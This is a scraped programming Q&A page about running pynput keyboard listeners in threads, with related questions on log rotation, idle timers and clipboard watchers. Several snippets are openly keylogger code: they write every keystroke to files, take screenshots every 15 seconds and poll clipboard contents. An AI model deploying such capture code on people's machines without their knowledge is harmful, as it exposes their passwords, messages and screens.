How do I make pynput.keyboard run as a Thread? - python

I wrote a script to capture keystrokes using Pynput, It went alright until I wanted to take screenshots every 15 seconds while capturing keystrokes(threading).
I read about pynput.keyboard Documents and saw that A keyboard listener is a threading.Thread, and yet I was unable to do it, I think I managed to create the two threads but it is not entering the 'getKey' function I don't know why.
from PIL import ImageGrab
import time
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os
import threading
def main():
listener = keyboard.Listener(onpress=getKey)
listener.start()
thread2 = threading.Thread(target=takeScreenshot, args=())
thread2.start()
thread2.join()
def getKey(key):
print(key)
key = fixKey(key)
file = open('log.txt', 'a')
file.write(key.replace('\'', '') + '')
file.close()
def fixKey(key):
key = str(key)
if key == 'Key.space':
return ' '
elif key == 'Key.enter':
return '\n'
return key
def takeScreenshot():
time.sleep(15)
image = ImageGrab.grab()
now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
image.save(now + '.png')
main()
As I explained it does not even creates the file 'log.txt' only take a screenshot after 15sec.
Thank you!

This is the correct way to use listener from the official docs
if you need to capture screenshot every 15 seconds you should run a thread with a while loop to run in the background continuously
here is the code:
from PIL import ImageGrab
import time
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os
import threading
def main():
thread2 = threading.Thread(target=takeScreenshot, args=())
thread2.start()
with Listener(on_press=getKey) as listener:
listener.join()
def getKey(key):
print(key)
key = fixKey(key)
file = open('log.txt', 'a')
file.write(key.replace('\'', '') + '')
file.close()
def fixKey(key):
key = str(key)
if key == 'Key.space':
return ' '
elif key == 'Key.enter':
return '\n'
return key
def takeScreenshot():
# run contineous and take screenshot every 15 seconds
while True:
print('taking screenshot')
image = ImageGrab.grab()
now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
image.save(now + '.png')
time.sleep(15)
main()

to use it in a non blocking way you should do it like this:
listener = Listener(on_press=on_press, on_release=on_release,suppress=True)
listener.start()
this will create 1 thread that is always listening without blocking the whole code (in case you need to do things that are not related to a key) but this also can end up creating too many threads so make sure you only create it if it doesn't exist yet like this:
from pynput.keyboard import Key, Listener, Controller
listener = None
keyPressed = None
def on_press(key):
if key == Key.enter:
global saveFile
saveFile = True
def on_release(key):
global keyPressed
keyPressed = key.char
def CheckWhichKeyIsPressed():
global listener
if listener == None:
listener = Listener(on_press=on_press, on_release=on_release,suppress=True)
listener.start()

Related

How to automatically save text file after specific time in python?

This is my keylogger code:
import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime, timedelta, time
import time
start = time.time()
now=datetime.now()
dt=now.strftime('%d%m%Y-%H%M%S')
keys=[]
def on_press(key):
keys.append(key)
write_file(keys)
try:
print(key.char)
except AttributeError:
print(key)
def write_file(keys):
with open ('log-'+str(dt)+'.txt','w') as f:
for key in keys:
# end=time.time()
# tot_time=end-start
k=str(key).replace("'","")
f.write(k.replace("Key.space", ' ').replace("Key.enter", '\n'))
# if tot_time>5.0:
# f.close()
# else:
# continue
with Listener(on_press=on_press) as listener:
listener.join()
In write_file() function, I've used the close method and also the timer which should automatically save the file after 5 seconds, but that gives me a long 1 paged error whose last line says:
ValueError: I/O operation on closed file.
How do I make my program save the txt file after every 5 seconds and create a new txt file automatically?
NOTE: I actually want the log file to be generated automatically after every 4 hours so that it is not flooded with uncountable words. I've just taken 5 seconds as an example.
The most important problem is that you did not reset the timer. After f.close(), end_time should be transferred into start_time.
Also, since you call write() for every event, there is no reason to accumulate into keys[].
Also, you never empty keys[].
You may have to customize the first line.
schedule = [ '08:00:00', '12:00:00', '16:00:00', '20:00:00'] # schedule for close/open file (must ascend)
import pynput
from pynput.keyboard import Listener
def on_press(key):
txt = key.char if hasattr( key, 'char') else ( '<'+key._name_+'>')
# do some conversions and concatenate to line
if txt == '<space>': txt = ' '
if txt == None: txt = '<?key?>' # some keyboards may generate unknown codes for Multimedia
glo.line += txt
if (len(glo.line) > 50) or (txt=='<enter>'):
writeFile( glo.fh, glo.line+'\n')
glo.line = ''
def writeFile( fh, txt):
fh.write( txt)
def openFile():
from datetime import datetime
dt=datetime.now().strftime('%d%m%Y-%H%M%S')
fh = open( 'log-'+str(dt)+'.txt', 'w') # open (or reopen)
return fh
def closeFile( fh):
fh.close()
def closeAndReOpen( fh, line):
if len( line) > 0:
writeFile( fh, line+'\n')
closeFile( fh)
fh = openFile()
return fh
class Ticker():
def __init__( self, sched=None, func=None, parm=None):
# 2 modes: if func is supplied, tick() will not return. Everything will be internal.
# if func is not supplied, it's non-blocking. The callback and sleep must be external.
self.target = None
self.sched = sched
self.func = func
self.parm = parm
def selectTarget( self):
for tim in self.sched: # select next target time (they are in ascending order)
if tim > self.actual:
self.target = tim
break
else: self.target = self.sched[0]
self.today = (self.actual < self.target) # True if target is today.
def tick( self):
from datetime import datetime
while True:
self.actual = datetime.now().strftime( "%H:%M:%S")
if not self.target: self.selectTarget()
if self.actual < self.target: self.today = True
act = (self.actual >= self.target) and self.today # True if target reached
if act: self.target = '' # next tick will select a new target
if not self.func: break # Non-blocking mode: upper level will sleep and call func
# The following statements are only executed in blocking mode
if act: self.func( self.parm)
time.sleep(1)
return act # will return only if func is not defined
class Glo:
pass
glo = Glo()
glo.fh = None
glo.line = ''
glo.fini = False
glo.fh = openFile()
listener = Listener( on_press=on_press)
listener.start()
ticker = Ticker( sched=schedule) # start ticker in non-blocking mode.
while not glo.fini:
import time
time.sleep(1)
if ticker.tick():
# time to close and reopen
glo.fh = closeAndReOpen( glo.fh, glo.line)
glo.line = ''
listener.stop()
writeFile( glo.fh, glo.line+'\n')
closeFile( glo.fh)
exit()
If you're satisfied, you may mark the answer as "ACCEPTed".
I executed your program and found 2 problems.
The first one is about the start variable. Python use different namespaces for each program or function. Since start was defined at program level, it wasn't known in the function. Commenting out your timer logic was hiding the problem. You can fix the problem with the 'global' statement.
The second one is about "with open". If you use "with open" you must not close the file yourself. If you do, "with open" will not reopen the file.
Here's a working version of your program.
import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime, timedelta, time
import time
start = time.time()
now=datetime.now()
dt=now.strftime('%d%m%Y-%H%M%S')
keys=[]
def on_press(key):
keys.append(key)
write_file(keys)
try:
print(key.char)
except AttributeError:
print(key)
def write_file(keys, f=None):
global start
for key in keys:
k=str(key).replace("'","").replace("Key.space", ' ').replace("Key.enter", '\n')
if not f:
f = open( 'log-'+str(dt)+'.txt', 'w') # open (or reopen)
f.write( k)
end=time.time()
tot_time=end-start
if tot_time>5.0:
f.close()
f = None
start=end
else:
continue
keys = []
with Listener(on_press=on_press) as listener:
listener.join()
A nicer solution would be move the open/close logic outside the write_file() function.

Python pynput in combination with word automatization with win32

I am working on a project to automate some operations in Word. I know it would be easier in VBA (could somebody point me to an article with this subject?) but my supervisor wants it that way.
The python script should open a word window and detect if you have a specific numbering like that:
1.
2.
3.
...
...
144.
145.
If you go with the caret to a specific line the program should know that it's at 144. and you should be able to input 145. o continue at 145. with 146.
The implementation was quiet straight forward. I worked with pynput and win32. I forced the word program into the foreground while program is running and I can put the caret in there and can make a new line with enter/alt_gr. During that the keyboard listener checks the input and if its alt_gr it does the task.
The problem is with the keyboard listener. Somehow it doesnt work with win32. In the current state it doesnt execute the code which is in on_press() only the code in on_release. And if I put the task in both it crashes. -> what is the problem and cause of it?
Note: the prints at on_press(): and on_release() are just for dummy purposes to check if its doing something.
from pynput import keyboard
from pynput.keyboard import Controller, Key, Listener
import re
import win32com.client as win32
import win32gui, win32con
def windowEnumerationHandler(hwnd, top_windows):
top_windows.append((hwnd, win32gui.GetWindowText(hwnd)))
def open_Word(path):
word = win32.Dispatch('Word.Application')
doc = word.Documents.Open(path)
word.Visible = True
win32gui.GetForegroundWindow()
top_windows = []
win32gui.EnumWindows(windowEnumerationHandler, top_windows)
for i in top_windows:
if "word" in i[1].lower():
print(i)
win32gui.ShowWindow(i[0], win32con.SW_MAXIMIZE)
win32gui.SetForegroundWindow(i[0])
break
return doc
word.Quit()
def check(text_in):
x = re.findall(r"[-+]?\d*\.\d+|\d+",text_in)
return x[len(x)-1] # returnt last line of regex search
def on_press(word_doc,key):
rng = word_doc.Range(0, 0)
counter = 1
if key == keyboard.Key.alt_gr:
string = str(counter)+ '.'
counter = counter+ 1
rng.InsertAfter(string)
rng.InsertAfter('\n')
print(counter)
print(win32gui.GetCaretPos())
else:
print('Received event {}'.format(key))
def on_release(key):
print('{0} released'.format(
key))
if key == keyboard.Key.alt_gr:
print('{0} I have done things'.format(
key))
elif key == keyboard.Key.esc:
# Stop listener
return False
doc_path = r'C:\foo\foo.docx
if __name__ == "__main__":
handle = open_Word(doc_path)
with keyboard.Listener(
on_press=on_press(handle,Key.alt_gr),
on_release= on_release, suppress = False) as listener:
listener.join()

How to make a timer between on press and on release functions on Pynput?

I want to make a timer that starts when no key is being pressed, and when any key is pressed, the timer is reset. I really don't know how to accomplish this, but I think it is possible using the threading and time library.
SAMPLE CODE:
import threading, time
from pynput import keyboard
keys = []
def write_keys(keys):
for key in keys:
k = str(key).replace("'", "")
# do some stuff here
def on_press(key):
# the timer will reset if a key is pressed
global keys
keys.append(key)
write_keys(keys)
keys = []
def on_release(key):
print(f'{key} was released')
# the timer will start when no key is pressed
# Collecting events
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Another possible answer using threads and ctypes library. I would recommend this If you want to keep doing things on the function on_pressed.
import threading
from pynput import keyboard
from ctypes import Structure, windll, c_uint, sizeof, byref
from time import sleep
class LASTINPUTINFO(Structure):
_fields_ = [
('cbSize', c_uint),
('dwTime', c_uint),
]
def get_idle_duration():
while True:
lastInputInfo = LASTINPUTINFO()
lastInputInfo.cbSize = sizeof(lastInputInfo)
windll.user32.GetLastInputInfo(byref(lastInputInfo))
millis = windll.kernel32.GetTickCount() - lastInputInfo.dwTime
millis = millis / 1000.0
print(millis)
sleep(1)
#return millis
keys = []
def write_keys(keys):
for key in keys:
k = str(key).replace("'", "")
print(k)
def on_press(key):
global keys
keys.append(key)
write_keys(keys)
keys = []
listener = keyboard.Listener(on_press=on_press)
last_input_info = threading.Thread(target=get_idle_duration)
listener.start()
last_input_info.start()
listener.join()
last_input_info.join()
That's seems easy, the below code will print the seconds since the last time you pressed any keys.
import time
from pynput import keyboard
counter_time = 0
def on_press(key):
# the timer will reset if a key is pressed
global counter_time
counter_time = 0
# Collecting events
listener = keyboard.Listener(on_press=on_press)
listener.start()
while True:
print(f"Now the time is:{counter_time} since the last time you pressed any keys")
time.sleep(0.5)
counter_time += 0.5

How to thread two functions where one output effect the others actions

Here's my code:
import time
import keyboard #pip install keyboard - could use pynput listener instead.
from threading import Thread
hshtag = int(0)
done = False
fire = False
def StopStart(fire):
while not done:
global fire
if keyboard.is_pressed('#'):
hshtag = hshtag + 1
if hshtag % 2 ==0:
fire = False
else:
fire = True
return fire
def NormalFire():
while not done:
global fire
if fire == True:
#do x
else:
pass
t1 = Thread(target = StopStart)
t2 = Thread(target = NormalFire(fire))
t1.start()
t2.start()
The problem is function StopStart (should) effect what function Normalfire does but as the function only accepts a value for fire when it starts running (so it doesn't work). What I want is change what function normalfire does with function stopstart. and if you're wondering why I am using threading it because '#do x' actually takes a while to work so as one continuous script if I clicked hash at the wrong time it wouldn't stop. Maybe I could do this with classes instead but im not good with classes so if someone could either help with that or fix the above code that would be great thanks.
New attempt at explaining what's wrong with the top code - Ok, so both functions should be running simultaneously (which they are) - so no problems there. but as the function StopStart changes the boolean fire to true/false I want that to cause my NormalFire function to change what it is doing - nothing when I haven't clicked hash yet and something if I've clicked hash once but if I then click hash while its running it will finish whats its running then do nothing waiting for hash to be clicked again.
Sorry, my question wasn't clear take this code as a simplification of my core question.
##imports
import time
import keyboard #pip install keyboard - could use pynput listener instead.
from threading import Thread
##variable assigning
hshtag = int(0)
done = False
fire = False
def x():
while not done:
fire = True
return fire
def y(fire):
while not done:
if fire:
print('ok')
else:
pass
t1 = Thread(target = x)
t2 = Thread(target = y(fire))
t1.start()
t2.start()
Currently, the above code outputs nothing even though I've set 'fire = true' in function x and returned it how would I edit this code so that when boolean fire changes to true the function y starts printing ok?
Editing like Nair suggested also returns nothing and after 15 second the program stops running edited code:
##imports
import time
import keyboard #pip install keyboard - could use pynput listener instead.
from threading import Thread
##variable assigning
hshtag = int(0)
done = False
fire = False
def StopStart():
while not done:
fire = True
return fire
def NormalFire():
while not done:
if fire:
print('ok')
else:
pass
t1 = Thread(target = StopStart)
t2 = Thread(target = NormalFire)
t1.start()
t2.start()
I'm unable to comment so I apologize in advanced. I'm having trouble understanding your question above, but I reworked your code - fix/add whatever you need and get back to me!
import time
import keyboard #pip install keyboard - could use pynput listener instead.
from threading import Thread
hshtag = int(0)
done = False
fire = False
def StopStart():
while not done:
# global fire - You're setting StopStart up for a param that needs passed, that also is named another variable
# So it will just over write it (Also, no arg is passed for StopStart(fire))
if keyboard.is_pressed('#'):
hshtag = hshtag + 1
if hshtag % 2 == 0 : fire = False
else : fire = true
return fire
def NormalFire():
while not done:
#global fire - Don't need to global it, you would've had to global done if that was the case
if fire: # don't need == true, just need if fire (if true)
print("x")
t1 = Thread(target=StopStart)
t2 = Thread(target=NormalFire)
t1.start()
t2.start()
Not sure that this is exactly what you're asking for. I would maybe listen for keyboard events outside of either thread. Instead, just bind keyboard events to a callback which set a threading.Event object. Sorry for the weird and slightly morbid example:
from pynput import keyboard
from threading import Thread, Event
plate_dropped = Event()
def on_press(key):
if key is keyboard.Key.enter:
plate_dropped.set()
listener = keyboard.Listener(on_press=on_press)
def poll_plate_status():
from time import sleep
from random import choice
messages = [
"It sure is tempting, eh?",
"Are you gonna do it?"
]
print("It'd be a shame if someone would drop this plate and scare grandpa!")
while not plate_dropped.is_set():
print(choice(messages))
sleep(0.5)
print("The plate has been dropped!")
def poll_grandpa_status():
from time import sleep
from random import choice
messages = [
"*zzzZZZzzz*",
"*Snoooreee*"
]
print("Grandpa is sound asleep.")
while not plate_dropped.is_set():
print(choice(messages))
sleep(0.5)
print("HUH!?")
plate_thread = Thread(target=poll_plate_status, daemon=True)
grandpa_thread = Thread(target=poll_grandpa_status, daemon=True)
plate_thread.start()
grandpa_thread.start()
listener.start()
##imports
import time
import keyboard #pip install keyboard - could use pynput listener instead.
from threading import Thread
##variable assigning
hshtag = int(0)
done = False
fire = False
def StopStart(self, interval=1):
hshtag = 0
self.interval = interval
while not done:
if keyboard.is_pressed('#'):
hshtag = hshtag + 1
if hshtag % 2 ==0:
fire = False
else:
fire = True
def NormalFire():
while not done:
print('NormalFire Runs')
time.sleep(1)
if fire:
print('*fires*')
else:
print('*does nothing*')
#t1 = Thread(target = StopStart, daemon=True)
t2 = Thread(target = NormalFire, daemon=True)
#t1.start()
t2.start()
while not done:
#time.sleep()
if keyboard.is_pressed('#'):
hshtag = hshtag + 1
time.sleep(0.1)
if hshtag % 2 ==0:
fire = False
print(fire)
else:
fire = True
print(fire)
I realised my problem was my ides of threading (im new to it) this achieves what I wanted thanks for all the help.

Trigger an event when clipboard content changes

I'm trying to get the clipboard content using a Python script on my Mac Lion.
I'm searching for an event or something similar, because if I use a loop, my application spends all its time watching the clipboard.
Any ideas?
Have you thought about using an endless loop and "sleeping" between tries?
I used pyperclip for a simple PoC and it worked like a charm, and Windows and Linux.
import time
import sys
import os
import pyperclip
recent_value = ""
while True:
tmp_value = pyperclip.paste()
if tmp_value != recent_value:
recent_value = tmp_value
print("Value changed: %s" % str(recent_value)[:20])
time.sleep(0.1)
Instead of the print, do whatever you want.
Here is a complete multithreading example.
import time
import threading
import pyperclip
def is_url_but_not_bitly(url):
if url.startswith("http://") and not "bit.ly" in url:
return True
return False
def print_to_stdout(clipboard_content):
print ("Found url: %s" % str(clipboard_content))
class ClipboardWatcher(threading.Thread):
def __init__(self, predicate, callback, pause=5.):
super(ClipboardWatcher, self).__init__()
self._predicate = predicate
self._callback = callback
self._pause = pause
self._stopping = False
def run(self):
recent_value = ""
while not self._stopping:
tmp_value = pyperclip.paste()
if tmp_value != recent_value:
recent_value = tmp_value
if self._predicate(recent_value):
self._callback(recent_value)
time.sleep(self._pause)
def stop(self):
self._stopping = True
def main():
watcher = ClipboardWatcher(is_url_but_not_bitly,
print_to_stdout,
5.)
watcher.start()
while True:
try:
print("Waiting for changed clipboard...")
time.sleep(10)
except KeyboardInterrupt:
watcher.stop()
break
if __name__ == "__main__":
main()
I create a subclass of threading.Thread, override the methods run and __init__ and create an instance of this class. By calling watcher.start() (not run()!), you start the thread.
To safely stop the thread, I wait for <Ctrl>-C (keyboard interrupt) and tell the thread to stop itself.
In the initialization of the class, you also have a parameter pause to control how long to wait between tries.
Use the class ClipboardWatcher like in my example, replace the callback with what you do, e.g., lambda x: bitly(x, username, password).
Looking at pyperclip the meat of it on Macosx is :
import os
def macSetClipboard(text):
outf = os.popen('pbcopy', 'w')
outf.write(text)
outf.close()
def macGetClipboard():
outf = os.popen('pbpaste', 'r')
content = outf.read()
outf.close()
return content
These work for me how do you get on?
I don't quite follow your comment on being in a loop.
EDIT Added 'orrid polling example that shows how changeCount() bumps up on each copy to the pasteboard. It's still not what the OP wants as there seems no event or notification for modifications to the NSPasteboard.
from LaunchServices import *
from AppKit import *
import os
from threading import Timer
def poll_clipboard():
pasteboard = NSPasteboard.generalPasteboard()
print pasteboard.changeCount()
def main():
while True:
t = Timer(1, poll_clipboard)
t.start()
t.join()
if __name__ == "__main__":
main()
simple!
import os
def macSetClipboard(text):
outf = os.popen('pbcopy', 'w')
outf.write(text)
outf.close()
def macGetClipboard():
outf = os.popen('pbpaste', 'r')
content = outf.read()
outf.close()
return content
current_clipboard = macGetClipboard()
while True:
clipboard = macGetClipboard()
if clipboard != current_clipboard:
print(clipboard)
macSetClipboard("my new string")
print(macGetClipboard())
break
I originaly posted my answer on a duplicate Run a python code when copying text with specific keyword
Here the answer I came up with.
import clipboard
import asyncio
# Exemple function.
async def your_function():
print("Running...")
async def wait4update(value):
while True:
if clipboard.paste() != value : # If the clipboard changed.
return
async def main():
value = clipboard.paste() # Set the default value.
while True :
update = asyncio.create_task(wait4update(value))
await update
value = clipboard.paste() # Change the value.
asyncio.create_task(your_function()) #Start your function.
asyncio.run(main())

Categories

Resources